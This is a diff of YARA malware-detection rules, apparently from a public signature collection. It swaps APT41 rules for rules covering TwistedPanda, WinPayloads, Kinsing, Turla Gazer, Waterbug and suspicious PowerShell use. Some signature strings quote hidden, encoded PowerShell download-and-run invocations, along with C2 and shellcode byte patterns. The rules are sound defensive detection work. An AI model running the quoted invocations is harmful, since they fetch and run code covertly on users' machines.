+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <3000KB and #config_init>10 and 2 of ($c2_cmd_*) and $decryption
 }
-import "pe"
+rule SIGNATURE_BASE_APT_CN_Twistedpanda_SPINNER_2 : FILE
+{
+	meta:
+		description = "Detects an older variant of SPINNER payload used by TwistedPanda"
+		author = "Check Point Research"
+		id = "bbbf3af1-127f-5d32-967f-bdb94311d1d6"
+		date = "2022-04-14"
+		modified = "2023-12-05"
+		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_twisted_panda.yar#L82-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d1e34903e58fb76671a076acbb9f26e10d511c8f00be90b4901d61b73b90a9a7"
+		score = 80
+		quality = 85
+		tags = "FILE"
+		hash1 = "28ecd1127bac08759d018787484b1bd16213809a2cc414514dc1ea87eb4c5ab8"
 
-rule SIGNATURE_BASE_APT_APT41_CRACKSHOT : FILE
+	strings:
+		$config_init = { C7 [3] 00 00 00 C7 [3] 00 00 00 C6 }
+		$c2_cmd_1 = { 01 00 03 10 }
+		$c2_cmd_2 = { 02 00 01 10 }
+		$c2_cmd_3 = { 01 00 01 10 }
+		$c2_cmd_4 = { 01 00 00 10 }
+		$c2_cmd_5 = { 02 00 00 10 }
+		$decryption = { 80 B3 [5] 8D BB [4] 8B 56 14 8B C2 8B 4E 10 2B C1 83 F8 01 }
+
+	condition:
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <3000KB and #config_init>10 and 2 of ($c2_cmd_*) and $decryption
+}
+rule SIGNATURE_BASE_APT_CN_Twistedpanda_64Bit_Loader : FILE
 {
 	meta:
-		description = "Detects APT41 malware CRACKSHOT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4ec34a77-dc7f-5f27-9f0a-c98438389018"
-		date = "2019-08-07"
+		description = "Detects the 64bit Loader DLL used by TwistedPanda"
+		author = "Check Point Research"
+		id = "2172dd33-204b-5a05-ad26-534a0c1d7a17"
+		date = "2022-04-14"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L46-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "70dd9edfc7f9ace7b00a35eb2ef664aa4fbaab8e2d268922d1593074897e769c"
-		score = 85
+		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_twisted_panda.yar#L120-L155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "644547f9fa6ca3f34ea32e06896f341e0c92f5c57dee3c478aed0cdf87b2f3de"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		hash1 = "993d14d00b1463519fea78ca65d8529663f487cd76b67b3fd35440bcdf7a8e31"
+		hash1 = "e0d4ef7190ff50e6ad2a2403c87cc37254498e8cc5a3b2b8798983b1b3cdc94f"
 
 	strings:
-		$x1 = ";procmon64.exe;netmon.exe;tcpview.exe;MiniSniffer.exe;smsniff.exe" ascii
-		$s1 = "RunUrlBinInMem" fullword ascii
-		$s2 = "DownRunUrlFile" fullword ascii
-		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36" fullword ascii
-		$s4 = "%s|%s|%s|%s|%s|%s|%s|%dx%d|%04x|%08X|%s|%s" fullword ascii
+		$path_check = { 48 8D [6] 48 8B ?? 48 81 [5] 72 }
+		$shellcode_read = { 48 8B D0 41 B8 F0 16 00 00 48 8B CF 48 8B D8 FF}
+		$shellcode_allocate = { BA F0 16 00 00 44 8D 4E 40 33 C9 41 B8 00 30 00 00 FF }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and (1 of ($x*) or 2 of them )
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <3000KB and $path_check and $shellcode_allocate and $shellcode_read
 }
-import "pe"
+rule SIGNATURE_BASE_APT_CN_Twistedpanda_Droppers : FILE
+{
+	meta:
+		description = "Detects droppers used by TwistedPanda"
+		author = "Check Point Research"
+		id = "f61c8b97-5870-5837-942f-f1650870960a"
+		date = "2022-04-14"
+		modified = "2023-12-05"
+		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_twisted_panda.yar#L157-L194"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "820b4796511dcf98cdc8017a39cc2c65e44d8d9a20f55803aa1ddd36f649c83a"
+		score = 80
+		quality = 85
+		tags = "FILE"
+		hash1 = "59dea38da6e515af45d6df68f8959601e2bbf0302e35b7989e741e9aba2f0291"
+		hash2 = "8b04479fdf22892cdfebd6e6fbed180701e036806ed0ddbe79f0b29f73449248"
+		hash3 = "f29a0cda6e56fc0e26efa3b6628c6bcaa0819a3275a10e9da2a8517778152d66"
 
-rule SIGNATURE_BASE_APT_APT41_POISONPLUG_2 : FILE
+	strings:
+		$switch_control = { 81 FA [4] 75 ?? E8 [4] 48 89 05 [4] E? }
+		$byte_manipulation = { 41 0F [2] 44 [2] 41 [2] 03 41 81 [5] 41 }
+		$stack_strings_1 = { 25 00 70 00 }
+		$stack_strings_2 = { 75 00 62 00 }
+		$stack_strings_3 = { 6C 00 69 00 }
+		$stack_strings_4 = { 63 00 25 00 }
+
+	condition:
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <3000KB and #switch_control>8 and all of ($stack_strings_*) and $byte_manipulation
+}
+rule SIGNATURE_BASE_Winpayloads_Powershell : FILE
 {
 	meta:
-		description = "Detects APT41 malware POISONPLUG"
+		description = "Detects WinPayloads PowerShell Payload"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
-		date = "2019-08-07"
+		id = "8b6b8823-4656-5b0d-9a1e-84045287f5bf"
+		date = "2017-07-11"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L66-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f2ec2e91edaaf976169b1fa6645aeae75135e5d5f522e0fda2438f84d674f383"
-		score = 70
+		reference = "https://github.com/nccgroup/Winpayloads"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_winpayloads.yar#L12-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e9e75f7190327f08c5e204977c6714c93951a6db0ddf000c8b37db37131b9def"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "0055dfaccc952c99b1171ce431a02abfce5c6f8fb5dc39e4019b624a7d03bfcb"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "011eba8f18b66634f6eb47527b4ceddac2ae615d6861f89a35dbb9fc591cae8e"
 
 	strings:
-		$s1 = "ma_lockdown_service.dll" fullword wide
-		$s2 = "acbde.dll" fullword ascii
-		$s3 = "MA lockdown Service" fullword wide
-		$s4 = "McAfee Agent" fullword wide
+		$x1 = "$Base64Cert = 'MIIJeQIBAzCCCT8GCSqGSIb3DQEHAaCCCTAEggksMIIJKDCCA98GCSqGSIb3DQEHBqCCA9AwggPMAgEAMIIDxQYJKoZIhvcNAQcBMBwGCiqGSIb3D" ascii
+		$x2 = "powershell -w hidden -noni -enc SQBF" fullword ascii nocase
+		$x3 = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwA" ascii
+		$x4 = "powershell.exe -WindowStyle Hidden -enc JABjAGwAaQBlAG4AdAA" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <11000KB and all of them
+		filesize <10KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT41_POISONPLUG : FILE
+rule SIGNATURE_BASE_Winpayloads_Payload : FILE
 {
 	meta:
-		description = "Detects APT41 malware POISONPLUG"
+		description = "Detects WinPayloads Payload"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
-		date = "2019-08-07"
+		id = "44fae324-1fc8-5417-950a-8a3783b6d2ae"
+		date = "2017-07-11"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L84-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "34459c2a8a13b8084c93a640723a3e2b67d2f695ff84ab63f4e313cacc458f32"
-		score = 80
+		reference = "https://github.com/nccgroup/Winpayloads"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_winpayloads.yar#L30-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8a22eeafa320bcf0d41de402223d3ad51d8625ffaa68fe24be864ffcf72a64a2"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "2eea29d83f485897e2bac9501ef000cc266ffe10019d8c529555a3435ac4aabd"
-		hash2 = "5d971ed3947597fbb7e51d806647b37d64d9fe915b35c7c9eaf79a37b82dab90"
-		hash3 = "f4d57acde4bc546a10cd199c70cdad09f576fdfe66a36b08a00c19ff6ae19661"
-		hash4 = "3e6c4e97cc09d0432fbbbf3f3e424d4aa967d3073b6002305cd6573c47f0341f"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "23a24f99c3c6c00cd4bf6cb968f813ba2ceadfa846c7f169f412bcbb71ba6573"
+		hash2 = "35069905d9b7ba1fd57c8df03614f563504194e4684f47aafa08ebb8d9409d0b"
+		hash3 = "a28d107f168d85c38fc76229b14561b472e60e60973eb10b6b554c1f57469322"
+		hash4 = "ed93e28ca18f749a78678b1e8e8ac31f4c6c0bab2376d398b413dbdfd5af9c7f"
+		hash5 = "26f5aee1ce65158e8375deb63c27edabfc9f5de3c1c88a4ce26a7e50b315b6d8"
+		hash6 = "b25a515706085dbde0b98deaf647ef9a8700604652c60c6b706a2ff83fdcbf45"
 
 	strings:
-		$s1 = "TSMSISrv.DLL" fullword wide
-		$s2 = "[-]write failed[%d]" fullword ascii
-		$s3 = "[-]load failed" fullword ascii
-		$s4 = "Remote Desktop Services" fullword wide
+		$s1 = "bpayload.exe.manifest" fullword ascii
+		$s2 = "spayload" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10000KB and (pe.imphash()=="1b074ef7a1c0888ef31337c8ad2f2e0a" or 2 of them )
+		( uint16(0)==0x5a4d and filesize <10000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT41_HIGHNOON : FILE
+rule SIGNATURE_BASE_Crime_H2Miner_Kinsing : FILE
 {
 	meta:
-		description = "Detects APT41 malware HIGHNOON"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6611fb04-7237-52d1-b29f-941c3853aeca"
-		date = "2019-08-07"
+		description = "Rule to find Kinsing malware"
+		author = "Tony Lambert, Red Canary"
+		id = "1cabca0d-7134-517e-b82e-f2b20b4d1c34"
+		date = "2020-06-09"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L108-L135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c8afa91f90157c3ac0f7954cd2d42022392c4e6f039d88d1dd4bace19028c2b1"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_h2miner_kinsing.yar#L1-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8795f01f4ce85ca37a4e4667a4ee9756dae6af42884cf79830877a5c35a3bd3b"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7"
-		hash2 = "4aa6970cac04ace4a930de67d4c18106cf4004ba66670cfcdaa77a4c4821a213"
 
 	strings:
-		$x1 = "workdll64.dll" fullword ascii
-		$s1 = "\\Fonts\\Error.log" ascii
-		$s2 = "[%d/%d/%d/%d:%d:%d]" fullword ascii
-		$s3 = "work_end" fullword ascii
-		$s4 = "work_start" fullword ascii
-		$s5 = "\\svchost.exe" ascii
-		$s6 = "LoadAppInit_DLLs" fullword ascii
-		$s7 = "netsvcs" fullword ascii
-		$s8 = "HookAPIs ...PID %d " fullword ascii
-		$s9 = "SOFTWARE\\Microsoft\\HTMLHelp" fullword ascii
-		$s0 = "DllMain_mem" fullword ascii
-		$s10 = "%s\\NtKlRes.dat" fullword ascii
-		$s11 = "Global\\%s-%d" fullword ascii
+		$s1 = "-iL $INPUT --rate $RATE -p$PORT -oL $OUTPUT"
+		$s2 = "libpcap"
+		$s3 = "main.backconnect"
+		$s4 = "main.masscan"
+		$s5 = "main.checkHealth"
+		$s6 = "main.redisBrute"
+		$s7 = "ActiveC2CUrl"
+		$s8 = "main.RC4"
+		$s9 = "main.runTask"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or 4 of them )
+		( uint32(0)==0x464C457F) and filesize >1MB and all of them
+}
+rule SIGNATURE_BASE_Powershell_Susp_Parameter_Combo : HIGHVOL FILE
+{
+	meta:
+		description = "Detects PowerShell invocation with suspicious parameters"
+		author = "Florian Roth (Nextron Systems)"
+		id = "17c707f3-7f51-5772-9874-a96c220960a7"
+		date = "2017-03-12"
+		modified = "2022-09-15"
+		reference = "https://goo.gl/uAic1X"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_invocation.yar#L2-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d56d97b4f0506430f21ccb029524111c404c03f8cef25710b96c6c0915fdcf22"
+		score = 60
+		quality = 31
+		tags = "HIGHVOL, FILE"
+
+	strings:
+		$sa1 = " -enc " ascii wide nocase
+		$sa2 = " -EncodedCommand " ascii wide nocase
+		$sa3 = " /enc " ascii wide nocase
+		$sa4 = " /EncodedCommand " ascii wide nocase
+		$sb1 = " -w hidden " ascii wide nocase
+		$sb2 = " -window hidden " ascii wide nocase
+		$sb3 = " -windowstyle hidden " ascii wide nocase
+		$sb4 = " /w hidden " ascii wide nocase
+		$sb5 = " /window hidden " ascii wide nocase
+		$sb6 = " /windowstyle hidden " ascii wide nocase
+		$sc1 = " -nop " ascii wide nocase
+		$sc2 = " -noprofile " ascii wide nocase
+		$sc3 = " /nop " ascii wide nocase
+		$sc4 = " /noprofile " ascii wide nocase
+		$sd1 = " -noni " ascii wide nocase
+		$sd2 = " -noninteractive " ascii wide nocase
+		$sd3 = " /noni " ascii wide nocase
+		$sd4 = " /noninteractive " ascii wide nocase
+		$se1 = " -ep bypass " ascii wide nocase
+		$se2 = " -exec bypass " ascii wide nocase
+		$se3 = " -executionpolicy bypass " ascii wide nocase
+		$se4 = " -exec bypass " ascii wide nocase
+		$se5 = " /ep bypass " ascii wide nocase
+		$se6 = " /exec bypass " ascii wide nocase
+		$se7 = " /executionpolicy bypass " ascii wide nocase
+		$se8 = " /exec bypass " ascii wide nocase
+		$sf1 = " -sta " ascii wide
+		$sf2 = " /sta " ascii wide
+		$fp1 = "Chocolatey Software" ascii wide
+		$fp2 = "VBOX_MSI_INSTALL_PATH" ascii wide
+		$fp3 = "\\Local\\Temp\\en-US.ps1" ascii wide
+		$fp4 = "Lenovo Vantage - Battery Gauge Helper" wide fullword
+		$fp5 = "\\LastPass\\lpwinmetro\\AppxUpgradeUwp.ps1" ascii
+		$fp6 = "# use the encoded form to mitigate quoting complications that full scriptblock transfer exposes" ascii
+		$fp7 = "Write-AnsibleLog \"INFO - s" ascii
+		$fp8 = "\\Packages\\Matrix42\\" ascii
+		$fp9 = "echo " ascii
+		$fp10 = "install" ascii fullword
+		$fp11 = "REM " ascii
+		$fp12 = "set /p " ascii
+		$fp13 = "rxScan Application" wide
+		$fpa1 = "All Rights"
+		$fpa2 = "<html"
+		$fpa2b = "<HTML"
+		$fpa3 = "Copyright"
+		$fpa4 = "License"
+		$fpa5 = "<?xml"
+		$fpa6 = "Help" fullword
+		$fpa7 = "COPYRIGHT"
+
+	condition:
+		filesize <3000KB and 4 of ($s*) and not 1 of ($fp*) and uint32be(0)!=0x456C6646
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_APT41_HIGHNOON_2 : FILE
+rule SIGNATURE_BASE_Gazer_Certificate_1 : FILE
 {
 	meta:
-		description = "Detects APT41 malware HIGHNOON"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1e48d859-2da9-583e-80e5-8d59054cfb85"
-		date = "2019-08-07"
+		description = "Detects Tura's Gazer malware"
+		author = "ESET"
+		id = "4eace653-003e-5cae-9db8-f26502f35fc4"
+		date = "2017-08-30"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L137-L157"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dc35b78df1631b1c9650de2bac625a7bc629225f36fe5e32fbff829cb77dc9ac"
+		reference = "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_gazer.yar#L27-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ef248ac5cdde0034d940f80b32966fe64841dcf99923dfc0a7035354af963f56"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "79190925bd1c3fae65b0d11db40ac8e61fb9326ccfed9b7e09084b891089602d"
 
 	strings:
-		$x1 = "H:\\RBDoor\\" ascii
-		$s1 = "PlusDll.dll" fullword ascii
-		$s2 = "ShutDownEvent.dll" fullword ascii
-		$s3 = "\\svchost.exe" ascii
+		$certif1 = { 52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02 }
+		$certif2 = { 12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="b70358b00dd0138566ac940d0da26a03" or pe.exports("DllMain_mem") or $x1 or 3 of them )
+		uint16(0)==0x5a4d and 1 of them and filesize <2MB
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_APT41_HIGHNOON_BIN : FILE
+rule SIGNATURE_BASE_Gazer_Logfile_Name_1 : FILE
 {
 	meta:
-		description = "Detects APT41 malware HIGHNOON.BIN"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c8bd62b4-b882-5c04-aace-76dd4a21a784"
-		date = "2019-08-07"
+		description = "Detects Tura's Gazer malware"
+		author = "ESET"
+		id = "c10d440f-dc9e-54c8-b329-9f22cba05e86"
+		date = "2017-08-30"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L159-L180"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c6557bff952454482271d1b52fb37b2dd0471abd237449fd9c94b293ea5218b3"
-		score = 90
+		reference = "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_gazer.yar#L41-L54"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c893ec41884f106329350c079b087e41a5b9f1040ab0892c90c03972d49dc070"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "490c3e4af829e85751a44d21b25de1781cfe4961afdef6bb5759d9451f530994"
-		hash2 = "79190925bd1c3fae65b0d11db40ac8e61fb9326ccfed9b7e09084b891089602d"
 
 	strings:
-		$s1 = "PlusDll.dll" fullword ascii
-		$s2 = "\\Device\\PORTLESS_DeviceName" wide
-		$s3 = "%s%s\\Security" fullword ascii
-		$s4 = "%s\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii
-		$s5 = "%s%s\\Enum" fullword ascii
+		$s1 = "CVRG72B5.tmp.cvr"
+		$s2 = "CVRG1A6B.tmp.cvr"
+		$s3 = "CVRG38D9.tmp.cvr"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="b70358b00dd0138566ac940d0da26a03" or 3 of them )
+		uint16(0)==0x5a4d and 1 of them
 }
-import "pe"
+rule SIGNATURE_BASE_Waterbug_Wipbot_2013_Core_PDF : FILE
+{
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 core PDF"
+		author = "Symantec Security Response"
+		id = "2e8ccce9-d8ba-573d-b532-76d8e2ed5442"
+		date = "2015-01-22"
+		modified = "2023-12-05"
+		reference = "http://t.co/rF35OaAXrl"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbug.yar#L3-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a854926a4a98eb1d13a582b4ff4504b9740b8bbe7aa6b5192aeb4d2438a58926"
+		score = 75
+		quality = 60
+		tags = "FILE"
 
-rule SIGNATURE_BASE_APT_APT41_HIGHNOON_BIN_2 : FILE
+	strings:
+		$a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/
+		$b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/
+
+	condition:
+		uint32(0)==0x46445025 and #a>150 and #b>200
+}
+rule SIGNATURE_BASE_Waterbug_Wipbot_2013_Dll
 {
 	meta:
-		description = "Detects APT41 malware HIGHNOON.BIN"
-		author = "Florian Roth (Nextron Systems)"
-		id = "37d6a44d-7811-5e87-84e2-b2a8b3da3124"
-		date = "2019-08-07"
+		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 Down.dll component"
+		author = "Symantec Security Response"
+		id = "2aae09a3-6e59-5951-941e-c1f82aada979"
+		date = "2015-01-22"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L182-L200"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1e3d622b4719962f59d95dbf1374c526c22461dd1d9313504f28e8e5c9184272"
-		score = 85
+		reference = "http://t.co/rF35OaAXrl"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbug.yar#L17-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f29ff81d62bd6bea776aeddc0725b034624f836c234441f63a8b697e959d3f8d"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7"
-		hash2 = "c51c5bbc6f59407286276ce07f0f7ea994e76216e0abe34cbf20f1b1cbd9446d"
+		tags = ""
 
 	strings:
-		$x1 = "\\Double\\Door_wh\\" ascii
-		$x2 = "[Stone] Config --> 2k3 TCP Positive Logout." fullword ascii
-		$x3 = "\\RbDoorX64.pdb" ascii
-		$x4 = "RbDoor, Version 1.0" fullword wide
-		$x5 = "About RbDoor" fullword wide
+		$string1 = "/%s?rank=%s"
+		$string2 = "ModuleStart\x00ModuleStop\x00start"
+		$string3 = "1156fd22-3443-4344-c4ffff"
+		$string4 = "read\x20file\x2E\x2E\x2E\x20error\x00\x00"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
+		2 of them
 }
-import "pe"
+rule SIGNATURE_BASE_Waterbug_Wipbot_2013_Core : FILE
+{
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error"
+		author = "Symantec Security Response"
+		id = "2e8ccce9-d8ba-573d-b532-76d8e2ed5442"
+		date = "2015-01-22"
+		modified = "2023-01-27"
+		reference = "http://t.co/rF35OaAXrl"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbug.yar#L34-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "59e1363225b1f7765e953e3d6803270b82f4268431d92ef00ed1010df0793e5f"
+		score = 75
+		quality = 85
+		tags = "FILE"
 
-rule SIGNATURE_BASE_APT_APT41_Revokedcert_Aug19_1 : FILE
+	strings:
+		$code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}
+		$code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4}
+		$code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04}
+		$code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
+
+	condition:
+		uint16(0)==0x5A4D and (($code1 or $code2) or ($code3 and $code4))
+}
+rule SIGNATURE_BASE_Waterbug_Turla_Dropper
 {
 	meta:
-		description = "Detects revoked certificates used by APT41 group"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f107cc42-58ec-500d-b1c3-27e9e00826aa"
-		date = "2019-08-07"
+		description = "Symantec Waterbug Attack - Trojan Turla Dropper"
+		author = "Symantec Security Response"
+		id = "f9683ac7-36f3-5a2a-8b76-e8e2527f4e0d"
+		date = "2015-01-22"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L202-L231"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f78c1310f99ac1993b01f3469f2f8e0765b79b2ea17fc6e7cff4e99949ca1139"
-		score = 60
+		reference = "http://t.co/rF35OaAXrl"
